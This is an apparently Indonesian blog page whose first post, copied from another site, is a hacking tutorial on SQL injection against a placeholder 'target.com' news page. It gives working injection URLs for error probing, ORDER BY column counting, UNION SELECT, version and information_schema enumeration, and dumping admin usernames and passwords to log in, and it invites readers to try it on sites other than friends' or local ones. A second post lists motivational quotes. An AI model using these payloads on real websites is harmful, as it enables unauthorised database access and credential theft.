Hacking Website

Hacking Website dengan tekhnik SQL Injection

hacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.

apa itu SQL injection ?
SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke 'query'
dengan cara manipulasi data input ke applikasi tsb.

ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.com oleh seorang penulis sebut saja cruz3N

oke, mari kita simak bersama-sama.

1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah http://www.target.com/berita.php?id=100

2. Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.

Contoh :
http://www.target.com/berita.php?id=100'

atau

http://www.target.com/berita.php?id=-100

4. Maka akan muncul pesan error...
"You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near '''
at line 1" Dan masih banyak lagi macamnya.

5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya...
Disini kita akan menggunakan perintah order by

Contoh :
http://www.target.com/berita.php?id=100+order+by+1/*

Hohoho...apalagi itu "/*" ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake "--". Terserah aja...

Kalo "+" sebagai penghubung perintah...

6. Nah sampe sini langsung dah nyobain satu2...

http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error)
http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga)
http://www.target.com/berita.php?id=100+order+by+3/* (capek dah)
http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)

Sampai muncul error...
Misalkan errornya disini...

http://www.target.com/berita.php?id=100+order+by+10/*

Berarti yang kita ambil adalah "9"
http://www.target.com/berita.php?id=100+order+by+9/*

7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION

Contoh :
http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*

Trus perhatikan angka berapa yang keluar (Kayak togel aja... ;p)

8. Misalnya angka hoki yang keluar adalah "3" maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah "version()" atau "@@version"

http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*

Atau

http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*

9. Nah kalo versinya 5 langsung aja pake perintah "information_schema" untuk melihat tabel dan kolom yang ada pada database...

Contoh :

http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*

Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya...Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain...ya maklum lah baru belajar...Hehehe...

Misalnya yang lo liat adalah table "admin"

Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata "table"-nya...

Contoh:
http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*

Misalnya kolom yang keluar adalah "password" dan "username"
Langsung aja kita liat isinya...

Contoh :
http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*

dan

http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*

Bisa diliat dah username ama passwordnya...Tinggal login...Cari yang asik terus...Terserah Anda...
---------------------------------------------------
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.

Download SQL injection step by step.DOC

oke selamat mencoba.
terpenting jangan dilakukan di web teman anda ataupun di website Lokal.

referensi :
. http://jasakom.com
. http://ezine.echo.or.id
. http://cruzenaldo.co.cc
. http://students.ee.itb.ac.id

»»  Terusane..

Motivation

Thomas J. Watson
Jangan mencari kawan yang membuat Anda merasa nyaman, tetapi carilah kawan yang memaksa Anda terus berkembang.

Henry Ford
Bila Anda berpikir Anda bisa,maka Anda benar. Bila Anda berpikir Anda tidak bisa, Anda pun benar… karena itu ketika seseorang berpikir tidak bisa, maka sesungguhnya dia telah membuang kesempatan untuk menjadi bisa.

Alexander Graham Bell
Konsentrasikan pikiran Anda pada sesuatu yang Anda lakukan Karena sinar matahari juga tidak dapat membakar sebelum difokuskan.

Bhagavad Gita
Manusia dibentuk dari keyakinannya. Apa yang ia yakini, itulah dia.

Jack Trout
Bekerja lebih keras tidak lebih efektif dari bekerja lebih pintar.

Thomas Stanley
Kebanyakan milyuner mendapat nilai B atau C di kampus. Mereka membangun kekayaan bukan dari IQ semata, melainkan kreativitas dan akal sehat.

Albert Einstein
Imajinasi lebih penting daripada pengetahuan.

Walt Disney
Jika Anda dapat memimpikannya, Anda dapat melakukannya.

Eleanor Roosevelt
Masa depan adalah milik mereka yang percaya pada indahnya mimpi-mimpi mereka.

Peter F. Drucker
Cara terbaik meramalkan masa depan Anda adalah dengan menciptakan masa depan itu sendiri.

Mahatma Gandhi
Kita harus menjadi perubahan yang ingin kita lihat di dunia.

Peter F. Drucker
Dalam setiap kisah sukses, Anda akan menemukan seseorang yang telah mengambil keputusan dengan berani.

George S. Patton
Kesalahan terbesar adalah tidak pernah membuat keputusan. Setiap perawan tua sepakat dengan saya.

Jack Trout
Tidak seorang pun akan mengikuti Anda jika Anda tidak tahu kemana harus melangkah.

Promod Brata
Jika Anda ingin berbahagia selama satu jam, silakan tidur siang. Jika Anda ingin berbahagia selama satu hari, pergilah berpiknik. Bila Anda ingin berbahagia seminggu, pergilah berlibur. Bila Anda ingin berbahagia selama sebulan, menikahlah. Bila Anda ingin berbahagia selama setahun, warisilah kekayaan. Jika Anda ingin berbahagia seumur hidup, cintailah pekerjaan Anda.

E. Nightingale
Orang yang paling beruntung di dunia adalah orang yang telah mengembangkan rasa syukur yang hampir konstan, dalam situasi apapun.

Henry Ford
Salah satu penemuan terbesar umat manusia adalah bahwa mereka bisa melakukan hal-hal yang sebelumnya mereka sangka tidak bisa dilakukan.

Henry Ford
Apabila kita takut gagal, itu berarti kita telah membatasi kemampuan kita.

Andrew Carnegie
Biasakanlah untuk berpikir bahwa sukses hanya tinggal selangkah lagi dan pasti akan diraih, niscaya masa depan yang cerah akan ada di depan Anda.

Robyn Allan
Kegagalan terbesar adalah apabila kita tidak pernah mencoba.

Bill Clinton
Tidak ada jaminan kesuksesan, namun tidak mencobanya adalah jaminan kegagalan.

Henry James
Anda takkan tahu apa yang tak dapat Anda lakukan, sampai Anda mencobanya.

Eugenio Barba
Kegagalan hanya situasi tak terduga yang menuntut transformasi dalam makna positif. Ingat, Amerika Serikat merupakan hasil dari kegagalan total sebab Columbus sebenarnya ingin mencari jalan ke Asia.

Thomas A. Edison
Banyak orang yang sebenarnya sudah sangat dekat dengan sukses tapi sayangnya, mereka kemudian menyerah.

Charles Noble
Anda harus memiliki tujuan jangka panjang agar tidak frustasi terhadap kegagalan jangka pendek.

Robert J. Lumsden
Standar terbaik untuk mengukur keberhasilan Anda dalam kehidupan adalah dengan menghitung jumlah orang yang telah Anda buat bahagia.

Pepatah Cina kuno
Perjalanan sejauh 1000 mil dimulai dengan 1 langkah.

keindahaan hati tampak dari papar kata serta penghormatannya pada orang lain.

di dalam jiwa-jiwa yang tenang tersimpan kemampuan yang dasyat yang dapat menaklukkan isi dunia.

kepercayaan yaitu kunci sebagai hal penting didalam sesuatu keberhasilan

studi tidak cuma dengan ajukan pertanyaan, namun juga dengan lihat serta coba.

kemenangan tidaklah tujuan, namun hadiah untuk orang-orang yang akan berupaya serta terus mencoba

manusia yang berdosa yaitu manusia yang tidak dapat melupakan serta memaafkan kesalahannya dimasa lalu

waktu seseorang sudah jadi terhebat, maka sejatinya dia sedang beralih jadi orang yang terlemah.

orang berhasil yaitu orang yang tidak dulu berhenti coba walau sudah melewati seribu kegagalan

tidak dulu ada kata gagal untuk manusia-manusia yang terus berupaya. kegagalan cuma ada waktu manusia-manusia telah berhenti untuk coba.

menyesali apa yang berlangsung yaitu kebodohan selanjutnya dari orang-orang yang jatuh. sebaik-baiknya manusia yaitu sebagaikan kejatuhannya sebagai awal untuk coba yang baru, bukan hanya menyesalinya.

bila kita dulu alami waktu paling baik, maka kita tentu dapat alami waktu terburuk, dikarenakan dari moment-moment tersebut kita dapat mendapatkan makna sesuatu kebijaksanaan

untuk merubah diri anda, yang pertama anda mesti kerjakan yaitu mengubah yang anda pikirkan perihal diri anda sendiri.

kebahagiaan datang saat anda yakin pada apa yang anda kerjakan, tahu apa yang anda kerjakan, serta menyukai apa yang anda kerjakan.

waktu senja tiba, sudahkan anda mempersiapkan ranting-ranting kayu bakar yang dapat menyinari serta menghangatkan malam anda ?

keindahan sejati cuma dapat anda rasakan waktu anda dapat menikmatinya serta bersyukur.

senyuman dapat senantiasa bikin anda tampak 1000x lebih cantik dari sesungguhnya.

perihal yang kita benci pada diri kita sesungguhnya tidak lebih nyata dari pada perihal yang kita sukai dari diri kita sendiri.

Didalam jalinan pada semangat serta ketekunan, kata kata motivasi berkenaan dengan sebagaimana niatnya seseorang berupaya, namun intensitas tinggi tidak membuahkan prestasi kerja sangat memuaskan jika usaha tersebut dihubungkan dengan tujuan beruntung organisasi. Sebaliknya dasar yang paling akhir, ketekunan, adalah ukuran tentang berapakah lama seseorang bisa menjaga usahanya.

Beberapa kumpulan kata kata motivasi saya ambil dari blog di internet tanpa mengurangi isi serta kandungan didalamnya, mungkin anda semua merasa terhibur dan bertambah keyakinannya.

»»  Terusane..